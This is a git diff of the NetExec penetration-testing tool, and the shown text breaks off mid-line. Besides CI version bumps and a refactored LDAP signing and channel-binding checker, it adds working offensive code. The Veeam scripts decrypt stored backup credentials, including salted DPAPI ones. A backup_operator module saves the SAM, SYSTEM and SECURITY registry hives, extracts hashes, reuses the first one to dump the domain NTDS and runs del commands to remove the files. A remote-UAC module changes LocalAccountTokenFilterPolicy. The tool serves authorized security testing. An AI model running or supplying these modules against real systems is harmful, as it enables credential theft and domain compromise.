diff --git a/.github/workflows/build-binaries.yml b/.github/workflows/build-binaries.yml index 6b7dba98..dba5bf53 100644 --- a/.github/workflows/build-binaries.yml +++ b/.github/workflows/build-binaries.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.12"] + python-version: ["3.13"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: - uses: actions/checkout@v4 diff --git a/.github/workflows/build-zipapps.yml b/.github/workflows/build-zipapps.yml index 9970f294..e35b4f04 100644 --- a/.github/workflows/build-zipapps.yml +++ b/.github/workflows/build-zipapps.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.10", "3.11", "3.12"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index f92e53d2..f747ec58 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -19,7 +19,7 @@ jobs: - name: Set up Python uses: actions/setup-python@v5 with: - python-version: 3.12 + python-version: 3.13 cache: poetry cache-dependency-path: poetry.lock - name: Install dependencies with dev group diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index fb85ab46..9a9d281a 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -14,7 +14,7 @@ jobs: max-parallel: 5 matrix: os: [ubuntu-latest] - python-version: ["3.10", "3.11", "3.12"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: Install poetry diff --git a/nxc/cli.py b/nxc/cli.py index 582dc453..6fdfa007 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -53,9 +53,9 @@ def gen_cli_args(): || || | \ | | ___ | |_ | ____| __ __ ___ ___ \\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __| .=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__ - / /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| - ॱ \ / ॱ - ॱ ॱ + / /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| + ˙ \ / ˙ + ˙ ˙ The network execution tool Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index 3d14ccc5..ad3f2ddd 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -1,9 +1,10 @@ $SqlDatabaseName = "REPLACE_ME_SqlDatabase" $SqlServerName = "REPLACE_ME_SqlServer" $SqlInstanceName = "REPLACE_ME_SqlInstance" +$b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string -$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords +$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords $auth = "Integrated Security=SSPI;" #Local user $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;" $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString @@ -22,19 +23,46 @@ catch { exit -1 } -$rows=($dataset.Tables | Select-Object -Expand Rows) -if ($rows.count -eq 0) { +$output=($dataset.Tables | Select-Object -Expand Rows) +if ($output.count -eq 0) { Write-Host "No passwords found!" exit } Add-Type -assembly System.Security -#Decrypting passwords using DPAPI -$rows | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) +# Decrypting passwords using DPAPI +$output | ForEach-Object -Process { + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' + $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $rows | Format-Table -HideTableHeaders | Out-String +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index 16ad63f3..cb198826 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -1,8 +1,9 @@ $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" +$b64Salt = "REPLACE_ME_b64Salt" -$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';" +$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';" $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv if ($output.count -eq 0) { @@ -10,13 +11,40 @@ if ($output.count -eq 0) { exit } +# Decrypting passwords using DPAPI Add-Type -assembly System.Security -#Decrypting passwords using DPAPI $output | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' + $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 \ No newline at end of file diff --git a/nxc/logger.py b/nxc/logger.py index f44c37a4..88871f59 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -80,7 +80,7 @@ def no_debug(func): class NXCAdapter(logging.LoggerAdapter): - def __init__(self, extra=None): + def __init__(self, extra=None, merge_extra=False): logging.basicConfig( format="%(message)s", datefmt="[%X]", @@ -93,6 +93,7 @@ class NXCAdapter(logging.LoggerAdapter): ) self.logger = logging.getLogger("nxc") self.extra = extra + self.merge_extra = merge_extra self.output_file = None logging.getLogger("impacket").disabled = True diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py new file mode 100644 index 00000000..4b858312 --- /dev/null +++ b/nxc/modules/backup_operator.py @@ -0,0 +1,143 @@ +import time +import os +import datetime + +from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations +from impacket.smbconnection import SessionError +from impacket.dcerpc.v5 import transport, rrp +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE + +from nxc.paths import NXC_PATH + +class NXCModule: + name = "backup_operator" + description = "Exploit user in backup operator group to dump NTDS @mpgn_x64" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.domain_admin = None + self.domain_admin_hash = None + self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted + + def options(self, context, module_options): + """NO OPTIONS""" + + def on_login(self, context, connection): + connection.args.share = "SYSVOL" + # enable remote registry + context.log.display("Triggering RemoteRegistry to start through named pipe...") + self.trigger_winreg(connection.conn, context) + rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") + rpc.set_smb_connection(connection.conn) + if connection.kerberos: + rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) + dce = rpc.get_dce_rpc() + if connection.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.connect() + dce.bind(rrp.MSRPC_UUID_RRP) + + try: + for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: + hRootKey, subKey = self._strip_root_key(dce, hive) + outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" + context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved {hive} to {outputFileName}") + except Exception as e: + context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + return + except (Exception, KeyboardInterrupt) as e: + context.log.fail(str(e)) + finally: + dce.disconnect() + + # copy remote file to local + log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-")) + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.get_file_single(hive, log_path + hive) + + # read local file + try: + def parse_sam(secret): + context.log.highlight(secret) + if not self.domain_admin: + first_line = secret.strip().splitlines()[0] + fields = first_line.split(":") + self.domain_admin = fields[0] + self.domain_admin_hash = fields[3] + + local_operations = LocalOperations(log_path + "SYSTEM") + boot_key = local_operations.getBootKey() + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret)) + sam_hashes.dump() + sam_hashes.finish() + + LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret)) + LSA.dumpCachedHashes() + LSA.dumpSecrets() + except Exception as e: + context.log.fail(f"Fail to dump the sam and lsa: {e!s}") + + if self.domain_admin: + connection.conn.logoff() + connection.create_conn_obj() + if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash): + try: + context.log.display("Dumping NTDS...") + connection.ntds() + except Exception as e: + context.log.fail(f"Fail to dump the NTDS: {e!s}") + + context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") + connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") + for hive in ["SAM", "SECURITY", "SYSTEM"]: + try: + out = connection.conn.listPath("SYSVOL", hive) + if out: + self.deleted_files = False + context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}") + except SessionError as e: + context.log.debug(f"File {hive} successfully removed: {e}") + else: + self.deleted_files = False + else: + self.deleted_files = False + + if not self.deleted_files: + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003 + else: + context.log.display("Successfully deleted dump files !") + + def trigger_winreg(self, connection, context): + # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 + # Basically triggers the RemoteRegistry to start without admin privs + tid = connection.connectTree("IPC$") + try: + connection.openFile( + tid, + r"\winreg", + 0x12019F, + creationOption=0x40, + fileAttributes=0x80, + ) + except SessionError as e: + # STATUS_PIPE_NOT_AVAILABLE error is expected + context.log.debug(str(e)) + # Give remote registry time to start + time.sleep(1) + + def _strip_root_key(self, dce, key_name): + # Let's strip the root key + key_name.split("\\")[0] + sub_key = "\\".join(key_name.split("\\")[1:]) + ans = rrp.hOpenLocalMachine(dce) + h_root_key = ans["phKey"] + return h_root_key, sub_key diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 152f3a0d..59e9550a 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -1,6 +1,8 @@ import socket import ssl import asyncio +import hashlib +import random from msldap.connection import MSLDAPClientConnection from msldap.commons.target import MSLDAPTarget @@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential from asyauth.common.credentials.kerberos import KerberosCredential from asysocks.unicomm.common.target import UniTarget, UniProto -import sys +import contextlib class NXCModule: """ - Checks whether LDAP signing and channelbinding are required. + Checks whether LDAP signing and LDAPS channel binding are required and/or enforced. - Module by LuemmelSec (@theluemmel), updated by @zblurx + Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0 Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan """ - name = "ldap-checker" - description = "Checks whether LDAP signing and binding are required and / or enforced" + description = "Checks whether LDAP signing and channel binding are required and / or enforced" supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -30,173 +31,229 @@ class NXCModule: def options(self, context, module_options): """No options available.""" - def on_login(self, context, connection): - # Conduct a bind to LDAPS and determine if channel - # binding is enforced based on the contents of potential - # errors returned. This can be determined unauthenticated, - # because the error indicating channel binding enforcement - # will be returned regardless of a successful LDAPS bind. - async def run_ldaps_noEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - - # Required step to try to bind without channel binding - ldapsClientConn.cb_data = None - - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - - valid, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True # channel binding IS enforced - elif "data 52e" in str(err): - return False # channel binding not enforced - elif err is None: - # LDAPS bind successful - # because channel binding is not enforced - return False - - # Conduct a bind to LDAPS with channel binding supported - # but intentionally miscalculated. In the case that and - # LDAPS bind has without channel binding supported has occurred, - # you can determine whether the policy is set to "never" or - # if it's set to "when supported" based on the potential - # error received from the bind attempt. - async def run_ldaps_withEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message - ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - _, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True - elif "data 52e" in str(err): - return False - elif err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - elif err is None: - return False - - # Domain Controllers do not have a certificate setup for - # LDAPS on port 636 by default. If this has not been setup, - # the TLS handshake will hang and you will not be able to - # interact with LDAPS. The condition for the certificate - # existing as it should is either an error regarding - # the fact that the certificate is self-signed, or - # no error at all. Any other "successful" edge cases - # not yet accounted for. - def DoesLdapsCompleteHandshake(dcIp): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(5) - ssl_context = ssl.create_default_context() - ssl_context.check_hostname = False - ssl_sock = ssl_context.wrap_socket( - s, - do_handshake_on_connect=False, - suppress_ragged_eofs=False, - ) - try: - ssl_sock.connect((dcIp, 636)) - ssl_sock.do_handshake() - ssl_sock.close() - return True - except Exception as e: - if "CERTIFICATE_VERIFY_FAILED" in str(e): - ssl_sock.close() - return True - if "handshake operation timed out" in str(e): - ssl_sock.close() - return False - else: - context.log.fail("Unexpected error during LDAPS handshake: " + str(e)) - ssl_sock.close() - return False - - # Conduct and LDAP bind and determine if server signing - # requirements are enforced based on potential errors - # during the bind attempt. - async def run_ldap(target, credential): - try: - ldapsClientConn = MSLDAPClientConnection(target, credential) - ldapsClientConn._disable_signing = True - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail(str(err)) - return None - - _, err = await ldapsClientConn.bind() - if err is not None: - errstr = str(err).lower() - if "stronger" in errstr: - return True - # because LDAP server signing requirements ARE enforced - else: - context.log.fail(str(err)) - else: - # LDAPS bind successful - return False - # because LDAP server signing requirements are not enforced - except Exception as e: - context.log.debug(str(e)) + # Conduct a bind to LDAPS and determine if channel + # binding is enforced based on the contents of potential + # errors returned. This can be determined unauthenticated, + # because the error indicating channel binding enforcement + # will be returned regardless of a successful LDAPS bind. + async def run_ldaps_noEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.debug(f"Error connecting to {connection.domain}: {err}") return None - - # Run trough all our code blocks to determine LDAP signing and channel binding settings. - stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT - secret = connection.password if not connection.nthash else connection.nthash - if not connection.kerberos: - credential = NTLMCredential( - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) - else: - kerberos_target = UniTarget( - connection.host, - 88, - UniProto.CLIENT_TCP, - hostname=connection.remoteName, - dc_ip=connection.kdcHost, - domain=connection.domain, - proxies=None, - dns=None, - ) - credential = KerberosCredential( - target=kerberos_target, - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) - - target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapIsProtected = asyncio.run(run_ldap(target, credential)) - if ldapIsProtected is False: - context.log.highlight("LDAP Signing NOT Enforced!") - elif ldapIsProtected is True: - context.log.fail("LDAP Signing IS Enforced") - else: - context.log.fail("Connection fail, exiting now") - sys.exit() - - if DoesLdapsCompleteHandshake(connection.host) is True: - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential)) - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential)) - if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True: - context.log.highlight('LDAPS Channel Binding is set to "When Supported"') - elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False: - context.log.highlight('LDAPS Channel Binding is set to "NEVER"') - elif ldapsChannelBindingAlwaysCheck is True: - context.log.fail('LDAPS Channel Binding is set to "Required"') + client.cb_data = None + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True # -> channel binding IS enforced + elif err and "data 52e" in str(err): + return False # -> channel binding not enforced + elif err is None: + return False # LDAPS bind successful -> channel binding not enforced else: - context.log.fail("\nSomething went wrong...") - sys.exit() + context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}") + return None + except Exception as e: + context.log.debug(f"Exception in run_ldaps_noEPA: {e}") + return None + finally: + with contextlib.suppress(Exception): + await client.disconnect() + + # Conduct a bind to LDAPS with channel binding supported + # but intentionally miscalculated. In the case that an + # LDAPS bind without channel binding supported has occurred, + # you can determine whether the policy is set to "never" or + # if it's set to "when supported" based on the potential + # error received from the bind attempt. + async def run_ldaps_withEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting to {connection.domain}: {err}") + return None + + try: + context.log.debug("Retrieving TLS certificate hash...") + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_context.verify_mode = ssl.CERT_NONE + + with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock: + cert = ssl_sock.getpeercert(binary_form=True) + + if cert: + cert_hash = hashlib.sha256(cert).digest() + context.log.debug(f"Original certificate hash: {cert_hash.hex()}") + pos = random.randint(0, len(cert_hash) - 1) + tampered_bytes = bytearray(cert_hash) + tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256 + context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}") + context.log.debug(f"Modified byte at position {pos}") + client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes) + else: + client.cb_data = b"\x00" * 64 + except Exception as e: + context.log.debug(f"Failed to retrieve TLS certificate hash: {e}") + client.cb_data = b"\x00" * 64 + + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True + elif (err and "data 52e" in str(err)) or err is None: + return False + else: + context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}") + return None + except Exception as e: + context.log.fail(f"Exception in run_ldaps_withEPA: {e}") + return None + + + # Domain Controllers do not have a certificate setup for + # LDAPS on port 636 by default. If this has not been setup, + # the TLS handshake will hang and you will not be able to + # interact with LDAPS. The condition for the certificate + # existing as it should is either an error regarding + # the fact that the certificate is self-signed, or + # no error at all. Any other "successful" edge cases + # not yet accounted for. + def does_ldaps_complete_handshake(self, context, dc_ip): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(5) + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False) + try: + ssl_sock.connect((dc_ip, 636)) + ssl_sock.do_handshake() + return True + except Exception as e: + if "CERTIFICATE_VERIFY_FAILED" in str(e): + return True + elif "handshake operation timed out" in str(e): + return False + else: + context.log.fail(f"Unexpected error during LDAPS handshake: {e}") + return False + finally: + ssl_sock.close() + + # Conduct an LDAP bind and determine if server signing + # requirements are enforced based on potential errors + # during the bind attempt. + async def run_ldap(self, context, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + client._disable_signing = True # deliberately disable LDAP signing on client connection + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting for LDAP bind: {err}") + return None + + _, err = await client.bind() + if err: + errstr = str(err).lower() + if "stronger" in errstr: + return True + # because LDAP server signing requirements ARE enforced + else: + context.log.fail(f"LDAP bind error: {err}") + return None + else: + # LDAPS bind successful + return False + # because LDAP server signing requirements are not enforced + except Exception as e: + context.log.debug(f"Exception during LDAP bind: {e}") + return None + + # Determine authentication context and proceed to + # enumerate LDAP signing and channel binding settings + def on_login(self, context, connection): + stype = asyauthSecret.PASS + secret = connection.password + if connection.nthash: + stype = asyauthSecret.NT + secret = connection.nthash + if connection.aesKey: + stype = asyauthSecret.AES + secret = connection.aesKey + + anon_credential = NTLMCredential( + secret="", + username="", + domain=connection.domain, + stype=asyauthSecret.PASS + ) + + if not connection.username and not secret: + context.log.highlight("No credentials provided, skipping LDAP signing check") + credential = anon_credential else: - context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured") + if not connection.kerberos: + credential = NTLMCredential( + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype + ) + else: + kerberos_target = UniTarget( + connection.host, + 88, + UniProto.CLIENT_TCP, + hostname=connection.remoteName, + dc_ip=connection.kdcHost, + domain=connection.domain, + proxies=None, + dns=None, + ) + credential = KerberosCredential( + target=kerberos_target, + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) + + ldap_signing_status = None + if connection.username or secret: + target = MSLDAPTarget( + connection.host, 389, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential)) + if ldap_signing_status is True: + context.log.highlight("LDAP signing IS enforced") + elif ldap_signing_status is False: + context.log.highlight("LDAP signing NOT enforced") + else: + context.log.fail("Could not determine LDAP signing requirement.") + + if self.does_ldaps_complete_handshake(context, connection.host): + target = MSLDAPTarget( + connection.host, 636, + UniProto.CLIENT_SSL_TCP, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential)) + ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential)) + + if ldaps_noEPA is False and ldaps_withEPA is True: + context.log.highlight("LDAPS channel binding is set to: When Supported") + elif ldaps_noEPA is False and ldaps_withEPA is False: + context.log.highlight("LDAPS channel binding is set to: Never") + elif ldaps_noEPA is True: + context.log.highlight("LDAPS channel binding is set to: Required") + else: + context.log.fail("Could not determine LDAPS channel binding settings") + else: + context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured") \ No newline at end of file diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 3e531dc3..5e897cc8 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -36,8 +36,8 @@ class NXCModule: buf = BytesIO() connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) - file_content = buf.read().decode("utf-8", errors="ignore").lower() - keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword in file_content] + file_content = buf.read().decode("utf-8", errors="ignore") + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()] if len(keywords): context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: diff --git a/nxc/modules/remote-uac.py b/nxc/modules/remote-uac.py new file mode 100644 index 00000000..95045292 --- /dev/null +++ b/nxc/modules/remote-uac.py @@ -0,0 +1,65 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations + + +class NXCModule: + """Module by @Defte_""" + name = "remote-uac" + description = "Enable or disable remote UAC" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + """ + Enables UAC (prevent non RID500 account to get high priv token remotely) + Disables UAC (allow non RID500 account to get high priv token remotely) + + ACTION: "enable" or "disable" (required) + """ + if "ACTION" not in module_options: + context.log.fail("ACTION option not specified!") + return + + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("ACTION must be either enable, disable or query") + return + self.action = module_options["ACTION"].lower() + + def on_admin_login(self, context, connection): + try: + remoteOps = RemoteOperations(connection.conn, False) + remoteOps.enableRegistry() + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) + regHandle = ans["phKey"] + + keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"] + + # Checks if the key already exists or not + try: + rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") + except Exception as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it") + ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") + + # Disable remote UAC + if self.action == "disable": + rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, 